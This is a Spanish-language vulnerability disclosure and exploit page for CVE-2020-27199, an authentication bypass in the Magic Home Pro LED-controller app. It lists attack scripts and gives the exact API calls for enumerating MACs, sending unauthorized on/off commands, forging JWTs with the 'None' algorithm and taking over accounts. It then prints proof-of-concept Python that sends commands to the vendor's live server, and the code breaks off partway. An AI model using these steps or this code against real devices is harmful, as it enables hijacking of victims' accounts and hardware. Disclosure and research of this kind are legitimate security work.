
CVE-2020-27199

Se encontraron múltiples vulnerabilidades en la aplicación móvil Magic Home Pro, que se utiliza para interactuar con el JadeHomic Kit RGB de Tira LED. La más significativa de estas vulnerabilidades es un bypass de autenticación (CVE-2020-27199), que en última instancia permite la toma total y el control de todo el grupo de dispositivos de una víctima.
magichome-forge.py - Forjador de JWT, utilizado para automatizar la toma de dispositivos
magichome-sniffer.py - Sniffer de red local que busca en la red dispositivos susceptibles. Construye una lista de dispositivos contra los cuales se pueden ejecutar ataques
magichome-switch.py - Permite encender los dispositivos
magichome-takeover.py - Payload que permite la toma exitosa de la cuenta de un usuario
Suzhou SmartChip Semiconductor Co.,Ltd
Esta vulnerabilidad permite que cualquier usuario autenticado utilice su nivel de autorización actual para interrogar endpoints que no forman parte de sus productos registrados, mediante una llamada API a /app/getBindedUserListByMacAddress/ZG001?macAddress=<mac address>. Esto da como resultado una respuesta HTTP que indica la existencia del endpoint y devuelve el Nombre de Usuario, el Identificador Único de Usuario (userUniID) y el ID Único Vinculado (bindedUniID) del endpoint asociado.
Usando la interrogación anterior, un atacante puede entonces utilizar una solicitud POST no autorizada a la API /app/sendCommandBatch/ZG001, utilizando la dirección MAC recién enumerada para enviar comandos al endpoint remoto usando comandos hexadecimales compatibles 71230fa3 y 71240fa4 que resultan en ENCENDIDO y APAGADO respectivamente.
Una vez completada la enumeración inicial, también es posible forjar un JWT utilizando los campos userID y uniID dentro de los datos del payload del JWT, degradando efectivamente el token para usar 'None' como algoritmo en la sección del encabezado del JWT (vulnerabilidad de bypass de firma). Usando esta vulnerabilidad, la aplicación es susceptible a la toma de dispositivos por parte de un atacante mediante el uso de la llamada API remota a /app/shareDevice/ZG001 y utilizando el parámetro JSON friendUserID para agregar el dispositivo a la lista de dispositivos del atacante, dando al atacante el control total del dispositivo endpoint.
Créditos:
El OUI describe el Identificador Único de Organización para las direcciones MAC registradas en una organización. En el caso de JadeHomic, el OUI mágico es C8:2E:47, donde los primeros tres bytes corresponden al fabricante y los segundos tres bytes corresponden al número de serie asignado por el fabricante. En nuestro caso, el identificador del fabricante está registrado en Suzhou SmartChip Semiconductor Co., LTD.
Permite el bypass de autenticación de la aplicación móvil Magic Home Pro y, por lo tanto, el control total de todo el grupo de dispositivos de un usuario víctima.
La prueba de concepto enumera los últimos bytes dentro del rango de MAC y devuelve resultados. Permite probar la 'ejecución remota' si te sientes audaz.``` import requests import json import os from colorama import init from colorama import Fore, Back, Style import re
'''
global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token
def turnOn(target, token):
urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71230fa3","macAddress":target}
]
}
data = json.dumps(array)
headersOn = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def turnOff(target, token):